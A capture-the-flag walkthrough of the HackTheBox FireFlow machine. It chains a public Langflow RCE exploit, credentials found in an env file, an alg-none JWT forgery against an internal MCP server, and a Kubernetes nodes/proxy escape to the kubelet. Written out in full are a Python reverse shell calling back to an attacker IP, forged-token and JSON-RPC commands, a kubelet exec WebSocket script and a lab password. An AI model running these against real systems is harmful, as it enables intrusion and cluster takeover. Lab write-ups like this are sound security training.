Fireflow writeup & walkthrough

HackTheBox FireFlow: unauthenticated RCE in Langflow 1.8.2 via CVE-2026-33017, credentials in an env file for SSH, a JWT forged with alg none against an internal MCP server, and root through a Kubernetes service account with nodes/proxy talking to the kubelet.

An unauthenticated RCE in Langflow gets a shell in a container, an SSH key sitting in a Langflow env file gets the user, a JWT signed with alg: none gets admin on an internal MCP server, and a service account with nodes/proxy gets root by talking straight to the kubelet on the host.

Enumeration

nmap -Pn -sCV -p- $IP -vv -oN nmap_full -T4 --min-rate 2000 --max-retries 20 --open

Only SSH and HTTP. Port 80 redirects to fireflow.htb, so add it:

echo "$IP fireflow.htb" | sudo tee -a /etc/hosts

The site itself is a brochure page with nothing to attack. Fuzz for vhosts, and take the baseline word count from a request for a name that definitely does not exist so you know what to filter:

wfuzz -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -u https://fireflow.htb -H "Host: FUZZ.fireflow.htb" --hw 26

flow.fireflow.htb comes back. Add that too:

echo "$IP flow.fireflow.htb" | sudo tee -a /etc/hosts

The public flow

flow.fireflow.htb is a Langflow instance. Most of it wants a login, but there is an Open Agent button on the landing page that does not. Clicking it drops you into a playground for a flow that has been shared publicly:

https://flow.fireflow.htb/playground/7d84d636-af65-42e4-ac38-26e867052c25

Two things come out of that URL. The UUID is the flow id of a public flow, and with google search we can enum the version /api/v1/version:

Langflow 1.8.2

That version is the whole foothold. CVE-2026-33017 is an unauthenticated RCE in POST /api/v1/build_public_tmp/{flow_id}/flow. The endpoint is meant to be reachable without a login so that public flows can run, but when the optional data parameter is supplied it accepts attacker controlled flow definitions and hands the Python inside the node definitions straight to exec() with no sandbox.

The gotcha is the version number. A lot of write ups and even some vendor advisories list 1.8.2 as the fixed release. It is not. JFrog went back and confirmed 1.8.2 is still fully exploitable, and the only real fix is 1.9.0, which removes the data parameter altogether. If you see 1.8.2 and move on because you think it is patched, you will spend the rest of the box looking for something that is not there.

Foothold: CVE-2026-33017

EQSTLab have a working PoC:

git clone https://github.com/EQSTLab/CVE-2026-33017
cd CVE-2026-33017

It will not run as it ships. The target is HTTPS with a self signed cert, so requests refuses the connection and the script dies before it sends anything. Open exploit.py, find send_payload(), and add verify=False to the requests.post call inside it:

r = requests.post(url, json=payload, headers=headers, verify=False)

Then start a listener and fire it:

penelope -p 4444
python3 exploit.py --url https://flow.fireflow.htb/ --flow-id 7d84d636-af65-42e4-ac38-26e867052c25 --lhost 10.10.14.x --lport 4444

The shell comes back as the Langflow service user. Upgrade it before you do anything else, the exploit shell is raw and one stray Ctrl+C kills it:

User: nightfall

Run an enumeration script and let it do the obvious sweeps:

./LinEnum-ng.sh

It flagged plenty but not the thing that mattered, so go looking for env files by hand. Langflow keeps its configuration outside the app directory:

find / -name "*.env" -readable 2>/dev/null
cat /etc/langflow/.env

That file holds credentials for nightfall. They work over SSH:

ssh nightfall@$IP
cat ~/user.txt

The MCP server on 30080

In nightfall's home there is an .mcp directory:

cat ~/.mcp/config.json

It names a service on port 30080 and carries a set of credentials for a bot account:

{
  "server": "http://127.0.0.1:30080",
  "username": "langflow-bot",
  "password": "Langfl0w@mcp2026!"
}

The port is a NodePort, so it is reachable from outside as well as on loopback:

curl -s http://$IP:30080/api/v1/version | jq

I spent a while looking for a known CVE against that version and came up with nothing. It is custom, so the bugs are going to be custom too.

Authenticate with the credentials from the config file and keep the token:

curl -s http://$IP:30080/api/v1/auth -H "Content-Type: application/json" -d '{"username":"langflow-bot","password":"Langfl0w@mcp2026!"}' | jq

Forging an admin token

Decode the token you just got. Do not use base64 -d on its own, JWT segments are base64url and are usually missing their padding, so it will fail on roughly two thirds of tokens for no obvious reason:

{
  "sub": "langflow-bot",
  "role": "user",
  "exp": 1774000000
}

role is user, and the tools endpoint wants admin. The server accepts a token whose header says alg: none, which means it will read the claims without checking a signature at all. Build one with the role swapped and an empty signature:

Note the trailing dot. An alg: none token has three segments like any other, the third one is just empty, and servers that reject the token outright are usually rejecting it because the dot was left off.

RCE via the tools endpoint

POST /api/v1/tools registers a tool whose Python body the server will run. You do not have to guess the fields: send an empty body and the API, which is FastAPI, hands you the schema in the validation error.

curl -s -X POST http://$IP:30080/api/v1/tools -H "Authorization: Bearer $none_token" -H "Content-Type: application/json" -d '{}' | jq
{
  "detail": [
    { "type": "missing", "loc": ["body", "name"], "msg": "Field required" },
    { "type": "missing", "loc": ["body", "description"], "msg": "Field required" },
    { "type": "missing", "loc": ["body", "code"], "msg": "Field required" }
  ]
}

Two things come out of that. The body wants name, description and code, and the request got past auth to reach validation at all, which means the forged alg: none token was accepted. A rejected token would have been a 401 and never reached the body.

Registering is not the same as executing, and this is where an hour goes if you miss it. POST /api/v1/tools only stores the tool, it returns {"status":"registered"} and runs nothing. The code runs when the tool is called, and the call is MCP JSON-RPC on /mcp, not REST.

Register the tool first. A plain reverse shell would block the register request, so fork: the parent exits and returns the HTTP response while the child keeps the socket and spawns a PTY.

curl -s -X POST http://$IP:30080/api/v1/tools -H "Authorization: Bearer $none_token" -H "Content-Type: application/json" -d '{"name":"finalkoder","description":"shell","code":"import os,pty,socket;pid=os.fork()\nif pid>0:\n import sys;sys.exit(0)\ns=socket.socket();s.connect((\"10.10.14.x\",4444))\nos.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2)\npty.spawn(\"/bin/bash\")"}' | jq

Single quotes on the outside and \" on the inside is what keeps the three layers from fighting: bash does nothing inside '...', so the escaped quotes pass through and JSON decodes them to real quotes.

Start the listener:

penelope 4444

Then fire the tool over JSON-RPC:

curl -s -X POST http://$IP:30080/mcp -H "Authorization: Bearer $none_token" -H "Content-Type: application/json" -d '{"jsonrpc":"2.0","id":1,"method":"tools/call","params":{"name":"finalkoder","arguments":{}}}' | jq

The shell lands on the listener as the mcp user. Because the tool forked, the JSON-RPC call returns straight away instead of hanging.

Root: out of the pod and onto the node

The new shell is not on the host. Check the environment and it is obvious:

env | grep -i kubernetes
ls /var/run/secrets/kubernetes.io/serviceaccount/

There is a service account token mounted in the pod. The API server is on 10.43.0.1, which is the default service CIDR for k3s rather than full Kubernetes, so expect a single node cluster where the control plane and the worker are the same machine.

Rather than guess at permissions, ask the API what this token can do:

curl -sk -X POST https://10.43.0.1:443/apis/authorization.k8s.io/v1/selfsubjectrulesreviews -H "Authorization: Bearer $(cat /var/run/secrets/kubernetes.io/serviceaccount/token)" -H "Content-Type: application/json" -d '{"apiVersion":"authorization.k8s.io/v1","kind":"SelfSubjectRulesReview","spec":{"namespace":"default"}}' | jq

The interesting line in the response is nodes/proxy. That permission lets the token send arbitrary requests to the kubelet API on any node in the cluster. The kubelet will run commands in any container it hosts and it does not do its own RBAC, it trusts whatever the API server let through. One namespaced service account with nodes/proxy is therefore code execution anywhere in the cluster, including in pods that are far more privileged than this one.

So go and find a pod worth landing in. The kubelet lists everything it is running:

export TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
# NO jq on the machine, yo need to copy paste it to your machine an JQ it
curl -sk https://10.129.80.198:10250/pods -H "Authorization: Bearer $TOKEN" | jq -r '.items[] | "\(.metadata.namespace)/\(.metadata.name)"'

monitoring/prometheus-prometheus-node-exporter-nmntq is the one to take. Node exporter's whole job is reporting on the host, so it runs with the host filesystem mounted inside it. Confirm before spending time on it:

curl -sk https://10.129.80.198:10250/pods -H "Authorization: Bearer $TOKEN" | jq '.items[] | select(.metadata.name | startswith("prometheus-prometheus-node-exporter")) | .spec.volumes'

The host root is mounted at /root inside the container, so the host's /root/root.txt shows up as /root/root/root.txt.

The kubelet /exec endpoint speaks a WebSocket protocol rather than plain HTTP, so curl will not do it. This script talks to it properly:

pip install websockets
#in the YT mine didn't work so I took this one https://exploitnotes.hashnode.dev/hackthebox-fireflow-writeup
cat > /tmp/evil.py << 'EOF'
#!/usr/bin/env python3
import asyncio, ssl, sys, websockets

NODE    = "<TARGET_IP>"
NE_NS   = "monitoring"
NE_POD  = "prometheus-prometheus-node-exporter-nmntq"
NE_CNT  = "node-exporter"
TOKEN   = open('/var/run/secrets/kubernetes.io/serviceaccount/token').read().strip()
COMMAND = sys.argv[1] if len(sys.argv) > 1 else 'id'

async def ws_exec(cmd_parts):
    # Skip TLS cert verification — kubelet uses a self-signed cert
    ctx = ssl.create_default_context()
    ctx.check_hostname = False
    ctx.verify_mode    = ssl.CERT_NONE

    # Build the WebSocket URL: each command word is a separate "command=" param
    args = "&".join(f"command={part}" for part in cmd_parts)
    url  = (f"wss://{NODE}:10250/exec/{NE_NS}/{NE_POD}/{NE_CNT}"
            f"?output=1&error=1&{args}")

    # Connect using the Kubernetes exec WebSocket subprotocol
    async with websockets.connect(
        url, ssl=ctx,
        additional_headers={"Authorization": f"Bearer {TOKEN}"},
        subprotocols=["v4.channel.k8s.io"],
        open_timeout=10
    ) as ws:
        try:
            while True:
                data = await asyncio.wait_for(ws.recv(), timeout=5)
                # First byte is the channel ID — strip it, print the rest
                if isinstance(data, bytes) and len(data) > 1:
                    print(data[1:].decode(errors='replace'), end='')
        except (asyncio.TimeoutError, websockets.exceptions.ConnectionClosed):
            pass

asyncio.run(ws_exec(COMMAND.split()))
EOF
python3 /tmp/evil.py "cat /host/root/root/root.txt"

Two things in there are easy to get wrong. The command has to be split into one command= parameter per word, since the kubelet takes an argv array and not a shell string, and the first byte of every frame the kubelet sends back is a stream identifier rather than output, which is what the msg[1:] is stripping. Leave it in and every line arrives with a stray character on the front. You can try and read id_rsa if you want a shell on the targe, otherwise:

python3 /tmp/evil.py "cat /host/root/root/root.txt"